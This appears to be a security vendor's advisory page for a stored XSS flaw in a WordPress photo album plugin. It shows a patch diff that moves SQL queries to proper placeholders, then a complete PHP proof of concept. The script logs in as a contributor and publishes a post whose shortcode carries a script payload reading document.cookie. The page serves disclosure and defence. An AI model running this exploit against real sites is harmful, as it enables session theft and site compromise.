+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN ($placeholders) AND ( status NOT IN ('pending', 'scheduled') OR owner = %s ) ORDER BY RAND(%d) LIMIT %d", array_merge( $albarr, [$user], [$rand], [$count] ) ), ARRAY_A );
 			}
 			else {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN (%s) AND status <> `pending` AND status <> `scheduled` AND status <> `private` ORDER BY RAND(%d) LIMIT %d", $allalb, $rand, $count );
-				$query = wppa_fix_query( $query );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN ($placeholders) AND status NOT IN ('pending', 'scheduled', 'private') ORDER BY RAND(%d) LIMIT %d", array_merge( $albarr, [$rand], [$count] ) ), ARRAY_A );
 			}
 		}
-		$temp = wppa_get_results( $query );
 	}

 	// Most recent from children
 	if ( '-4' == $id ) {
 		if ( current_user_can( 'wppa_moderate' ) ) {
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN (%s) ORDER BY timestamp DESC LIMIT %d", $allalb, $count );
-			$query = wppa_fix_query( $query );
+			$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN ($placeholders) ORDER BY timestamp DESC LIMIT %d", array_merge( $albarr, [$count] ) ), ARRAY_A );
 		}
 		else {
 			if ( is_user_logged_in() ) {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN (%s) AND ( ( status <> `pending` AND status <> `scheduled` ) OR owner = `%s` ) ORDER BY timestamp DESC LIMIT %d", $allalb, $user, $count );
-				$query = wppa_fix_query( $query );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN ($placeholders) AND ( status NOT IN ('pending', 'scheduled') OR owner = %s ) ORDER BY timestamp DESC LIMIT %d", array_merge( $albarr, [$user], [$count] ) ), ARRAY_A );
 			}
 			else {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN (%s) AND status <> `pending` AND status <> `scheduled` AND status <> `private` ORDER BY timestamp DESC LIMIT %d", $allalb, $count );
-				$query = wppa_fix_query( $query );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN ($placeholders) AND status NOT IN ('pending', 'scheduled', 'private') ORDER BY timestamp DESC LIMIT %d", array_merge( $albarr, [$count] ) ), ARRAY_A );
 			}
 		}
-		$temp = wppa_get_results( $query );
 	}

 	// Imagefactory multiple like album photo order
 	if ( '-5' == $id ) {
-		$porder = wppa_get_poc( $alb );
+		$porder = wppa_get_poc_a( $alb );
 		if ( current_user_can( 'wppa_moderate' ) ) {
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d ORDER BY %s LIMIT %d", $alb, $porder, $count );
-			$query = wppa_fix_query( $query );
+			if ( $porder['desc'] ) {
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d ORDER BY %i DESC LIMIT %d", $alb, $porder['order'], $count ), ARRAY_A );
+			}
+			else {
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d ORDER BY %i LIMIT %d", $alb, $porder['order'], $count ), ARRAY_A );
+			}
 		}
 		else {
 			if ( is_user_logged_in() ) {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( ( status <> `pending` AND status <> `scheduled` ) OR owner = `%s` ) ORDER BY %s LIMIT %d", $alb, $user, $porder, $count );
-				$query = wppa_fix_query( $query );
+				if ( $porder['desc'] ) {
+					$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( status NOT IN ('pending', 'scheduled') OR owner = %s ) ORDER BY %i DESC LIMIT %d", $alb, $user, $porder['order'], $count ), ARRAY_A );
+				}
+				else {
+					$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( status NOT IN ('pending', 'scheduled') OR owner = %s ) ORDER BY %i LIMIT %d", $alb, $user, $porder['order'], $count ), ARRAY_A );
+				}
 			}
 			else {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status <> `pending` AND status <> `scheduled` AND status <> `private` ORDER BY %s LIMIT %d", $alb, $porder, $count );
-				$query = wppa_fix_query( $query );
+				if ( $porder['desc'] ) {
+					$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status NOT IN ('pending', 'scheduled', 'private' ) ORDER BY %i DESC LIMIT %d", $alb, $porder['order'], $count ), ARRAY_A );
+				}
+				else {
+					$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status NOT IN ('pending', 'scheduled', 'private' ) ORDER BY %i LIMIT %d", $alb, $porder['order'], $count ), ARRAY_A );
+				}
 			}
 		}
-		$temp = wppa_get_results( $query );
 	}

 	// Add to 2nd level cache
@@ -1706,19 +1708,17 @@

 	// If random...
 	if ( $albumorder_col == 'random' ) {
-
-		$query  = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY RAND(%d)", $id, wppa_get_randseed() );
-
-		$subs = wppa_get_results( $query );
+		$subs = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY RAND(%d)", $id, wppa_get_randseed() ), ARRAY_A );
 	}

 	// Not random, Decending?
 	else {
-
-		if ( wppa_is_album_order_desc( $id ) ) $dir = 'DESC'; else $dir = '';
-		$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY %s %s", $id, $albumorder_col, $dir );
-		$query = wppa_fix_query( $query );
-		$subs = wppa_get_results( $query );
+		if ( wppa_is_album_order_desc( $id ) ) {
+			$subs = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY %i DESC", $id, $albumorder_col ), ARRAY_A );
+		}
+		else {
+			$subs = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-10095 - WP Photo Album Plus <= 9.1.13.005 - Authenticated (Contributor+) Stored XSS via 'subtext' Shortcode Attribute

$target_url = 'https://example.com'; // Change to target WordPress site
$username = 'contributor';           // Change to contributor account
$password = 'password';              // Change to contributor account password

// Step 1: Authenticate and get nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Authenticated as contributorn";

// Step 2: Get the WP REST API nonce for post creation
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$json_nonce = curl_exec($ch);
curl_close($ch);

$nonce = json_decode($json_nonce, true);
if ($nonce) {
    $wp_nonce = $nonce['nonce'] ?? $nonce;
} else {
    // Fallback: try to extract from admin page
    $admin_url = $target_url . '/wp-admin/post-new.php';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $admin_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    $admin_page = curl_exec($ch);
    curl_close($ch);
    preg_match('/wpApiSettings = \{(.*?)\}/s', $admin_page, $matches);
    preg_match('/"nonce":s*"([^"]+)"/', $matches[1] ?? '', $nonce_match);
    $wp_nonce = $nonce_match[1] ?? '';
}

echo "[+] Got REST nonce: " . $wp_nonce . "n";

// Step 3: Create a post with the malicious shortcode
$post_url = $target_url . '/wp-json/wp/v2/posts';

// XSS payload in subtext parameter
$malicious_subtext = '<script>alert(document.cookie)</script>';
$shortcode_content = '[photo id="1" subtext="' . $malicious_subtext . '"]';

$post_data = array(
    'title' => 'Test XSS Post - CVE-2026-10095',
    'content' => $shortcode_content,
    'status' => 'publish'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $wp_nonce
));
$response = curl_exec($ch);
curl_close($ch);

$result = json_decode($response, true);
echo "[+] Post created with ID: " . ($result['id'] ?? 'unknown') . "n";
echo "[+] XSS payload stored. Visit post to trigger.n";

// Clean up temporary files
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.